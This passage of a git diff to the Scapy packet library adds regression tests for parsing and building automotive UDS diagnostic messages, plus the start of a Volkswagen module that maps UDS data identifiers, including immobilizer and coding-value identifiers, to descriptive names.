UDS(b'\x87\x01\x02') +assert lc.service == 0x87 +assert lc.linkControlType == 0x01 +assert lc.baudrateIdentifier == 0x02 + += Check UDS_LC + +lc = UDS(b'\x87\x02\x02\x03\x04') +assert lc.service == 0x87 +assert lc.linkControlType == 0x02 +assert lc.baudrateHighByte == 0x02 +assert lc.baudrateMiddleByte == 0x03 +assert lc.baudrateLowByte == 0x04 + += Check UDS_LCPR + +lcpr = UDS(b'\xC7\x01') +assert lcpr.service == 0xC7 +assert lcpr.linkControlType == 0x01 + += Check UDS_RDBI + +rdbi = UDS(b'\x22\x01\x02') +assert rdbi.service == 0x22 +assert rdbi.identifiers[0] == 0x0102 + += Build UDS_RDBI + +rdbi = UDS()/UDS_RDBI(identifiers=[0x102]) +assert rdbi.service == 0x22 +assert rdbi.identifiers[0] == 0x0102 +assert bytes(rdbi) == b'\x22\x01\x02' + += Check UDS_RDBI2 + +rdbi = UDS(b'\x22\x01\x02\x03\x04') +assert rdbi.service == 0x22 +assert rdbi.identifiers[0] == 0x0102 +assert rdbi.identifiers[1] == 0x0304 +assert raw(rdbi) == b'\x22\x01\x02\x03\x04' + += Build UDS_RDBI2 + +rdbi = UDS()/UDS_RDBI(identifiers=[0x102, 0x304]) +assert rdbi.service == 0x22 +assert rdbi.identifiers[0] == 0x0102 +assert rdbi.identifiers[1] == 0x0304 +assert raw(rdbi) == b'\x22\x01\x02\x03\x04' + + += Check UDS_RDBIPR + +rdbipr = UDS(b'\x62\x01\x02dieselgate') +assert rdbipr.service == 0x62 +assert rdbipr.dataIdentifier == 0x0102 +assert rdbipr.load == b'dieselgate' + += Check UDS_RMBA + +rmba = UDS(b'\x23\x11\x02\x02') +assert rmba.service == 0x23 +assert rmba.memorySizeLen == 1 +assert rmba.memoryAddressLen == 1 +assert rmba.memoryAddress1 == 2 +assert rmba.memorySize1 == 2 + += Check UDS_RMBA + +rmba = UDS(b'\x23\x22\x02\x02\x03\x03') +assert rmba.service == 0x23 +assert rmba.memorySizeLen == 2 +assert rmba.memoryAddressLen == 2 +assert rmba.memoryAddress2 == 0x202 +assert rmba.memorySize2 == 0x303 + += Check UDS_RMBA + +rmba = UDS(b'\x23\x33\x02\x02\x02\x03\x03\x03') +assert rmba.service == 0x23 +assert rmba.memorySizeLen == 3 +assert rmba.memoryAddressLen == 3 +assert rmba.memoryAddress3 == 0x20202 +assert rmba.memorySize3 == 0x30303 + += Check UDS_RMBA + +rmba = UDS(b'\x23\x44\x02\x02\x02\x02\x03\x03\x03\x03') +assert rmba.service == 0x23 +assert rmba.memorySizeLen == 4 +assert rmba.memoryAddressLen == 4 +assert rmba.memoryAddress4 == 0x2020202 +assert rmba.memorySize4 == 0x3030303 + += Check UDS_RMBAPR + +rmbapr = UDS(b'\x63muchData') +assert rmbapr.service == 0x63 +assert rmbapr.dataRecord == b'muchData' + += Check UDS_RSDBI + +rsdbi = UDS(b'\x24\x12\x34') +assert rsdbi.service == 0x24 +assert rsdbi.dataIdentifier == 0x1234 + += Check UDS_RSDBIPR + +rsdbipr = UDS(b'\x64\x12\x34\xffmuchData') +assert rsdbipr.service == 0x64 +assert rsdbipr.dataIdentifier == 0x1234 +assert rsdbipr.scalingByte == 255 +assert rsdbipr.dataRecord == b'muchData' + += Check UDS_RSDBPI + +rsdbpi = UDS(b'\x2a\x12\x34coffee') +assert rsdbpi.service == 0x2a +assert rsdbpi.transmissionMode == 0x12 +assert rsdbpi.periodicDataIdentifier == 0x34 +assert rsdbpi.furtherPeriodicDataIdentifier == b'coffee' + += Check UDS_RSDBPIPR + +rsdbpipr = UDS(b'\x6a\xff\x12\x34') +assert rsdbpipr.service == 0x6a +assert rsdbpipr.periodicDataIdentifier == 255 +assert rsdbpipr.dataRecord == b'\x12\x34' + += Check UDS_DDDI + +dddi = UDS(b'\x2c\x12coffee') +assert dddi.service == 0x2c +assert dddi.definitionMode == 0x12 +assert dddi.dataRecord == b'coffee' + += Check UDS_DDDIPR + +dddipr = UDS(b'\x6c\x12\x44\x55') +assert dddipr.service == 0x6c +assert dddipr.definitionMode == 0x12 +assert dddipr.dynamicallyDefinedDataIdentifier == 0x4455 + += Check UDS_WDBI + +wdbi = UDS(b'\x2e\x01\x02dieselgate') +assert wdbi.service == 0x2e +assert wdbi.dataIdentifier == 0x0102 +assert wdbi.load == b'dieselgate' + += Build UDS_WDBI + +wdbi = UDS()/UDS_WDBI(dataIdentifier=0x0102)/Raw(load=b'dieselgate') +assert wdbi.service == 0x2e +assert wdbi.dataIdentifier == 0x0102 +assert wdbi.load == b'dieselgate' +assert bytes(wdbi) == b'\x2e\x01\x02dieselgate' + += Check UDS_WDBIPR + +wdbipr = UDS(b'\x6e\x01\x02') +assert wdbipr.service == 0x6e +assert wdbipr.dataIdentifier == 0x0102 + += Check UDS_WMBA + +wmba = UDS(b'\x3d\x11\x02\x02muchData') +assert wmba.service == 0x3d +assert wmba.memorySizeLen == 1 +assert wmba.memoryAddressLen == 1 +assert wmba.memoryAddress1 == 2 +assert wmba.memorySize1 == 2 +assert wmba.dataRecord == b'muchData' + += Check UDS_WMBA + +wmba = UDS(b'\x3d\x22\x02\x02\x03\x03muchData') +assert wmba.service == 0x3d +assert wmba.memorySizeLen == 2 +assert wmba.memoryAddressLen == 2 +assert wmba.memoryAddress2 == 0x202 +assert wmba.memorySize2 == 0x303 +assert wmba.dataRecord == b'muchData' + += Check UDS_WMBA + +wmba = UDS(b'\x3d\x33\x02\x02\x02\x03\x03\x03muchData') +assert wmba.service == 0x3d +assert wmba.memorySizeLen == 3 +assert wmba.memoryAddressLen == 3 +assert wmba.memoryAddress3 == 0x20202 +assert wmba.memorySize3 == 0x30303 +assert wmba.dataRecord == b'muchData' + += Check UDS_WMBA + +wmba = UDS(b'\x3d\x44\x02\x02\x02\x02\x03\x03\x03\x03muchData') +assert wmba.service == 0x3d +assert wmba.memorySizeLen == 4 +assert wmba.memoryAddressLen == 4 +assert wmba.memoryAddress4 == 0x2020202 +assert wmba.memorySize4 == 0x3030303 +assert wmba.dataRecord == b'muchData' + += Check UDS_WMBAPR + +wmbapr = UDS(b'\x7d\x11\x02\x02') +assert wmbapr.service == 0x7d +assert wmbapr.memorySizeLen == 1 +assert wmbapr.memoryAddressLen == 1 +assert wmbapr.memoryAddress1 == 2 +assert wmbapr.memorySize1 == 2 + += Check UDS_WMBAPR + +wmbapr = UDS(b'\x7d\x22\x02\x02\x03\x03') +assert wmbapr.service == 0x7d +assert wmbapr.memorySizeLen == 2 +assert wmbapr.memoryAddressLen == 2 +assert wmbapr.memoryAddress2 == 0x202 +assert wmbapr.memorySize2 == 0x303 + += Check UDS_WMBAPR + +wmbapr = UDS(b'\x7d\x33\x02\x02\x02\x03\x03\x03') +assert wmbapr.service == 0x7d +assert wmbapr.memorySizeLen == 3 +assert wmbapr.memoryAddressLen == 3 +assert wmbapr.memoryAddress3 == 0x20202 +assert wmbapr.memorySize3 == 0x30303 + += Check UDS_WMBAPR + +wmbapr = UDS(b'\x7d\x44\x02\x02\x02\x02\x03\x03\x03\x03') +assert wmbapr.service == 0x7d +assert wmbapr.memorySizeLen == 4 +assert wmbapr.memoryAddressLen == 4 +assert wmbapr.memoryAddress4 == 0x2020202 +assert wmbapr.memorySize4 == 0x3030303 + += Check UDS_CDTCI + +cdtci = UDS(b'\x14\x44\x02\x03') +assert cdtci.service == 0x14 +assert cdtci.groupOfDTCHighByte == 0x44 +assert cdtci.groupOfDTCMiddleByte == 0x02 +assert cdtci.groupOfDTCLowByte == 0x3 + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x44') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x44 + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x01\xff') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x01 +assert rdtci.DTCStatusMask == 0xff + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x02\xff') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x02 +assert rdtci.DTCStatusMask == 0xff + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x0f\xff') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x0f +assert rdtci.DTCStatusMask == 0xff + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x11\xff') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x11 +assert rdtci.DTCStatusMask == 0xff + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x12\xff') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x12 +assert rdtci.DTCStatusMask == 0xff + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x13\xff') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x13 +assert rdtci.DTCStatusMask == 0xff + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x03\xff\xee\xdd\xaa') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x03 +assert rdtci.DTCHighByte == 0xff +assert rdtci.DTCMiddleByte == 0xee +assert rdtci.DTCLowByte == 0xdd +assert rdtci.DTCSnapshotRecordNumber == 0xaa + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x04\xff\xee\xdd\xaa') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x04 +assert rdtci.DTCHighByte == 0xff +assert rdtci.DTCMiddleByte == 0xee +assert rdtci.DTCLowByte == 0xdd +assert rdtci.DTCSnapshotRecordNumber == 0xaa + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x05\xaa') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x05 +assert rdtci.DTCSnapshotRecordNumber == 0xaa + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x06\xff\xee\xdd\xaa') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x06 +assert rdtci.DTCHighByte == 0xff +assert rdtci.DTCMiddleByte == 0xee +assert rdtci.DTCLowByte == 0xdd +assert rdtci.DTCExtendedDataRecordNumber == 0xaa + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x07\xaa\xbb') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x07 +assert rdtci.DTCSeverityMask == 0xaa +assert rdtci.DTCStatusMask == 0xbb + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x08\xaa\xbb') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x08 +assert rdtci.DTCSeverityMask == 0xaa +assert rdtci.DTCStatusMask == 0xbb + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x09\xff\xee\xdd') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x09 +assert rdtci.DTCHighByte == 0xff +assert rdtci.DTCMiddleByte == 0xee +assert rdtci.DTCLowByte == 0xdd + += Check UDS_RDTCI + +rdtci = UDS(b'\x19\x10\xff\xee\xdd\xaa') +assert rdtci.service == 0x19 +assert rdtci.reportType == 0x10 +assert rdtci.DTCHighByte == 0xff +assert rdtci.DTCMiddleByte == 0xee +assert rdtci.DTCLowByte == 0xdd +assert rdtci.DTCExtendedDataRecordNumber == 0xaa + += Check UDS_RDTCIPR + +rdtcipr = UDS(b'\x59\x01\xff\xee\xdd\xaa') +assert rdtcipr.service == 0x59 +assert rdtcipr.reportType == 1 +assert rdtcipr.DTCStatusAvailabilityMask == 0xff +assert rdtcipr.DTCFormatIdentifier == 0xee +assert rdtcipr.DTCCount == 0xddaa + += Check UDS_RDTCIPR + +rdtcipr = UDS(b'\x59\x02\xff\xee\xdd\xaa') +assert rdtcipr.service == 0x59 +assert rdtcipr.reportType == 2 +assert rdtcipr.DTCStatusAvailabilityMask == 0xff +assert rdtcipr.DTCAndStatusRecord == b'\xee\xdd\xaa' + += Check UDS_RDTCIPR + +rdtcipr = UDS(b'\x59\x03\xff\xee\xdd\xaa') +assert rdtcipr.service == 0x59 +assert rdtcipr.reportType == 3 +assert rdtcipr.dataRecord == b'\xff\xee\xdd\xaa' + += Check UDS_RC + +rc = UDS(b'\x31\x03\xff\xee\xdd\xaa') +assert rc.service == 0x31 +assert rc.routineControlType == 3 +assert rc.routineIdentifier == 0xffee +assert rc.routineControlOptionRecord == b'\xdd\xaa' + += Check UDS_RCPR + +rcpr = UDS(b'\x71\x03\xff\xee\xdd\xaa') +assert rcpr.service == 0x71 +assert rcpr.routineControlType == 3 +assert rcpr.routineIdentifier == 0xffee +assert rcpr.routineStatusRecord == b'\xdd\xaa' + += Check UDS_RD + +rd = UDS(b'\x34\xaa\x11\x02\x02') +assert rd.service == 0x34 +assert rd.dataFormatIdentifier == 0xaa +assert rd.memorySizeLen == 1 +assert rd.memoryAddressLen == 1 +assert rd.memoryAddress1 == 2 +assert rd.memorySize1 == 2 + += Check UDS_RD + +rd = UDS(b'\x34\xaa\x22\x02\x02\x03\x03') +assert rd.service == 0x34 +assert rd.dataFormatIdentifier == 0xaa +assert rd.memorySizeLen == 2 +assert rd.memoryAddressLen == 2 +assert rd.memoryAddress2 == 0x202 +assert rd.memorySize2 == 0x303 + += Check UDS_RD + +rd = UDS(b'\x34\xaa\x33\x02\x02\x02\x03\x03\x03') +assert rd.service == 0x34 +assert rd.dataFormatIdentifier == 0xaa +assert rd.memorySizeLen == 3 +assert rd.memoryAddressLen == 3 +assert rd.memoryAddress3 == 0x20202 +assert rd.memorySize3 == 0x30303 + += Check UDS_RD + +rd = UDS(b'\x34\xaa\x44\x02\x02\x02\x02\x03\x03\x03\x03') +assert rd.service == 0x34 +assert rd.dataFormatIdentifier == 0xaa +assert rd.memorySizeLen == 4 +assert rd.memoryAddressLen == 4 +assert rd.memoryAddress4 == 0x2020202 +assert rd.memorySize4 == 0x3030303 + += Check UDS_RDPR + +rdpr = UDS(b'\x74\xaa\x44\x02\x02\x02\x02\x03\x03\x03\x03') +assert rdpr.service == 0x74 +assert rdpr.routineControlType == 0xaa +assert rdpr.memorySizeLen == 4 +assert rdpr.memoryAddressLen == 4 +assert rdpr.maxNumberOfBlockLength == b'\x02\x02\x02\x02\x03\x03\x03\x03' + += Check UDS_RU + +ru = UDS(b'\x35\xaa\x11\x02\x02') +assert ru.service == 0x35 +assert ru.dataFormatIdentifier == 0xaa +assert ru.memorySizeLen == 1 +assert ru.memoryAddressLen == 1 +assert ru.memoryAddress1 == 2 +assert ru.memorySize1 == 2 + += Check UDS_RU + +ru = UDS(b'\x35\xaa\x22\x02\x02\x03\x03') +assert ru.service == 0x35 +assert ru.dataFormatIdentifier == 0xaa +assert ru.memorySizeLen == 2 +assert ru.memoryAddressLen == 2 +assert ru.memoryAddress2 == 0x202 +assert ru.memorySize2 == 0x303 + += Check UDS_RU + +ru = UDS(b'\x35\xaa\x33\x02\x02\x02\x03\x03\x03') +assert ru.service == 0x35 +assert ru.dataFormatIdentifier == 0xaa +assert ru.memorySizeLen == 3 +assert ru.memoryAddressLen == 3 +assert ru.memoryAddress3 == 0x20202 +assert ru.memorySize3 == 0x30303 + += Check UDS_RU + +ru = UDS(b'\x35\xaa\x44\x02\x02\x02\x02\x03\x03\x03\x03') +assert ru.service == 0x35 +assert ru.dataFormatIdentifier == 0xaa +assert ru.memorySizeLen == 4 +assert ru.memoryAddressLen == 4 +assert ru.memoryAddress4 == 0x2020202 +assert ru.memorySize4 == 0x3030303 + += Check UDS_RUPR + +rupr = UDS(b'\x75\xaa\x44\x02\x02\x02\x02\x03\x03\x03\x03') +assert rupr.service == 0x75 +assert rupr.routineControlType == 0xaa +assert rupr.memorySizeLen == 4 +assert rupr.memoryAddressLen == 4 +assert rupr.maxNumberOfBlockLength == b'\x02\x02\x02\x02\x03\x03\x03\x03' + += Check UDS_TD + +td = UDS(b'\x36\xaapayload') +assert td.service == 0x36 +assert td.blockSequenceCounter == 0xaa +assert td.transferRequestParameterRecord == b'payload' + += Check UDS_TDPR + +tdpr = UDS(b'\x76\xaapayload') +assert tdpr.service == 0x76 +assert tdpr.blockSequenceCounter == 0xaa +assert tdpr.transferResponseParameterRecord == b'payload' + += Check UDS_RTE + +rte = UDS(b'\x37payload') +assert rte.service == 0x37 +assert rte.transferRequestParameterRecord == b'payload' + += Check UDS_RTEPR + +rtepr = UDS(b'\x77payload') +assert rtepr.service == 0x77 +assert rtepr.transferResponseParameterRecord == b'payload' + += Check UDS_IOCBI + +iocbi = UDS(b'\x2f\x23\x34\xffcoffee') +assert iocbi.service == 0x2f +assert iocbi.dataIdentifier == 0x2334 +assert iocbi.controlOptionRecord == 255 +assert iocbi.controlEnableMaskRecord == b'coffee' + + += Check UDS_NRC + +nrc = UDS(b'\x7f\x22\x33') +assert nrc.service == 0x7f +assert nrc.requestServiceId == 0x22 +assert nrc.negativeResponseCode == 0x33 + + + + diff --git a/libs/scapy/contrib/automotive/volkswagen/__init__.py b/libs/scapy/contrib/automotive/volkswagen/__init__.py new file mode 100755 index 0000000..986713d --- /dev/null +++ b/libs/scapy/contrib/automotive/volkswagen/__init__.py @@ -0,0 +1,11 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +""" +Package of contrib automotive bmw specific modules +that have to be loaded explicitly. +""" diff --git a/libs/scapy/contrib/automotive/volkswagen/definitions.py b/libs/scapy/contrib/automotive/volkswagen/definitions.py new file mode 100755 index 0000000..f0f4332 --- /dev/null +++ b/libs/scapy/contrib/automotive/volkswagen/definitions.py @@ -0,0 +1,3185 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# Copyright (C) Jonas Schmidt +# This program is published under a GPLv2 license + +# scapy.contrib.description = Volkswagen specific definitions for UDS +# scapy.contrib.status = skip + + +from scapy.contrib.automotive.uds import UDS_RDBI, UDS_RC, UDS_RD + + +UDS_RDBI.dataIdentifiers[0x00bd] = "Theft Protection - Download GFA-Key" +UDS_RDBI.dataIdentifiers[0x00be] = "Theft Protection - Download IKA-Key" +UDS_RDBI.dataIdentifiers[0x00fd] = "IUMPR-ID3" +UDS_RDBI.dataIdentifiers[0x00fe] = "IUMPR-ID2" +UDS_RDBI.dataIdentifiers[0x00ff] = "IUMPR-ID1" +UDS_RDBI.dataIdentifiers[0x02cc] = "Vehicle_identification_number_provisional" +UDS_RDBI.dataIdentifiers[0x02e0] = "Immobilizer - Challenge" +UDS_RDBI.dataIdentifiers[0x02e1] = "Immobilizer - Login" +UDS_RDBI.dataIdentifiers[0x02e2] = "Immobilizer - Download Powertrain" +UDS_RDBI.dataIdentifiers[0x02e3] = "Immobilizer - Download IMS" +UDS_RDBI.dataIdentifiers[0x02e4] = "Transponder ID current Key" +UDS_RDBI.dataIdentifiers[0x02e5] = "Transponder ID Key 1" +UDS_RDBI.dataIdentifiers[0x02e6] = "Transponder ID Key 2" +UDS_RDBI.dataIdentifiers[0x02e7] = "Transponder ID Key 3" +UDS_RDBI.dataIdentifiers[0x02e8] = "Transponder ID Key 4" +UDS_RDBI.dataIdentifiers[0x02e9] = "Transponder ID Key 5" +UDS_RDBI.dataIdentifiers[0x02ea] = "Transponder ID Key 6" +UDS_RDBI.dataIdentifiers[0x02eb] = "Transponder ID Key 7" +UDS_RDBI.dataIdentifiers[0x02ec] = "Transponder ID Key 8" +UDS_RDBI.dataIdentifiers[0x02ed] = "State of Immobilizer" +UDS_RDBI.dataIdentifiers[0x02ee] = "State of Immobilizer Slaves" +UDS_RDBI.dataIdentifiers[0x02ef] = "State Blocking Time" +UDS_RDBI.dataIdentifiers[0x02f1] = "Immobilizer - Slave Login" +UDS_RDBI.dataIdentifiers[0x02f6] = "Download WFS SHE" +UDS_RDBI.dataIdentifiers[0x02f9] = "CRC32 Checksum of FAZIT Identification String" +UDS_RDBI.dataIdentifiers[0x02fa] = "Adapted_transponders_checksum" +UDS_RDBI.dataIdentifiers[0x02fb] = "Immobilizer - Download WFS 4" +UDS_RDBI.dataIdentifiers[0x02ff] = "Immobilizer_snapshot" +UDS_RDBI.dataIdentifiers[0x0407] = "VW Logical Software Block Counter Of Programming Attempts" +UDS_RDBI.dataIdentifiers[0x040f] = "VW Logical Software Block Lock Value" +UDS_RDBI.dataIdentifiers[0x0410] = "Bootloader TP Blocksize" +UDS_RDBI.dataIdentifiers[0x04a3] = "Gateway Component List" +UDS_RDBI.dataIdentifiers[0x0600] = "VW Coding Value" +UDS_RDBI.dataIdentifiers[0x0610] = "Control_unit_for_wiper_motor_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0611] = "Slave_list_VW_spare_part_number" +UDS_RDBI.dataIdentifiers[0x0612] = "Slave_list_VW_software_version_number" +UDS_RDBI.dataIdentifiers[0x0613] = "Slave_list_VW_ecu_hardware_version_number" +UDS_RDBI.dataIdentifiers[0x0614] = "Slave_list_VW_hardware_number" +UDS_RDBI.dataIdentifiers[0x0615] = "Slave_list_ecu_serial_number" +UDS_RDBI.dataIdentifiers[0x0616] = "Slave_list_VW_FAZIT_identification_string" +UDS_RDBI.dataIdentifiers[0x0617] = "Slave_list_VW_system_name_or_engine_type" +UDS_RDBI.dataIdentifiers[0x0618] = "Left_rear_seat_ventilation_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0619] = "Right_rear_seat_ventilation_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x061a] = "Slave_component_list" +UDS_RDBI.dataIdentifiers[0x061b] = "Slave_component_list_databus_identification" +UDS_RDBI.dataIdentifiers[0x061c] = "Slave_component_list_ecu_identification" +UDS_RDBI.dataIdentifiers[0x061d] = "Slave_component_list_present" +UDS_RDBI.dataIdentifiers[0x061e] = "Right_headlamp_power_output_stage_Coding_Values" +UDS_RDBI.dataIdentifiers[0x061f] = "Sensor_for_anti_theft_alarm_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0620] = "Rear_lid_control_module_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0621] = "Alarm_horn_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0622] = "Automatic_day_night_interior_mirror_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0623] = "Sun_roof_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0624] = "Steering_column_lock_actuator_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0625] = "Anti_theft_tilt_system_control_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0626] = "Tire_pressure_monitor_antenna_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0627] = "Heated_windshield_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0628] = "Rear_light_left_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0629] = "Ceiling_light_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x062a] = "Left_front_massage_seat_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x062b] = "Right_front_massage_seat_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x062c] = "Control_module_for_auxiliary_air_heater_Coding_Values" +UDS_RDBI.dataIdentifiers[0x062d] = "Ioniser_Coding_Values" +UDS_RDBI.dataIdentifiers[0x062e] = "Multi_function_steering_wheel_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x062f] = "Left_rear_door_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0630] = "Right_rear_door_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0631] = "Left_rear_massage_seat_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0632] = "Right_rear_massage_seat_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0633] = "Display_unit_1_for_multimedia_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0634] = "Battery_monitoring_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0635] = "Roof_blind_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0636] = "Sun_roof_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0637] = "Display_unit_2_for_multimedia_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0638] = "Telephone_handset_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0639] = "Traffic_data_aerial_Coding_Values" +UDS_RDBI.dataIdentifiers[0x063a] = "Chip_card_reader_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x063b] = "Hands_free_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x063c] = "Telephone_handset_Coding_Values" +UDS_RDBI.dataIdentifiers[0x063d] = "Display_unit_front_for_multimedia_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x063e] = "Multimedia_operating_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x063f] = "Digital_sound_system_control_module_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x0640] = "Control_unit_for_wiper_motor_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0641] = "Rain_light_recognition_sensor_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0642] = "Light_switch_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0643] = "Garage_door_opener_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0644] = "Garage_door_opener_operating_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0645] = "Ignition_key_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0646] = "Left_front_seat_ventilation_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0647] = "Right_front_seat_ventilation_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0648] = "Left_rear_seat_ventilation_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0649] = "Right_rear_seat_ventilation_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x064a] = "Data_medium_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x064b] = "Drivers_door_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x064c] = "Front_passengers_door_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x064d] = "Left_headlamp_power_output_stage_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x064e] = "Right_headlamp_power_output_stage_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x064f] = "Sensor_for_anti_theft_alarm_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0650] = "Rear_lid_control_module_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0651] = "Alarm_horn_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0652] = "Automatic_day_night_interior_mirror_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0653] = "Sun_roof_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0654] = "Steering_column_lock_actuator_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0655] = "Anti_theft_tilt_system_control_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0656] = "Tire_pressure_monitor_antenna_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0657] = "Heated_windshield_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0658] = "Rear_light_left_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0659] = "Ceiling_light_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x065a] = "Left_front_massage_seat_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x065b] = "Right_front_massage_seat_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x065c] = "Control_module_for_auxiliary_air_heater_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x065d] = "Ioniser_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x065e] = "Multi_function_steering_wheel_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x065f] = "Left_rear_door_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0660] = "Right_rear_door_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0661] = "Left_rear_massage_seat_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0662] = "Right_rear_massage_seat_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0663] = "Display_unit_1_for_multimedia_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0664] = "Battery_monitoring_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0665] = "Roof_blind_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0666] = "Sun_roof_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0667] = "Display_unit_2_for_multimedia_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0668] = "Telephone_handset_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0669] = "Traffic_data_aerial_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x066a] = "Chip_card_reader_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x066b] = "Hands_free_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x066c] = "Telephone_handset_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x066d] = "Display_unit_front_for_multimedia_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x066e] = "Multimedia_operating_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x066f] = "Digital_sound_system_control_module_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x0670] = "Control_unit_for_wiper_motor_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0671] = "Rain_light_recognition_sensor_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0672] = "Light_switch_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0673] = "Garage_door_opener_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0674] = "Garage_door_opener_operating_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0675] = 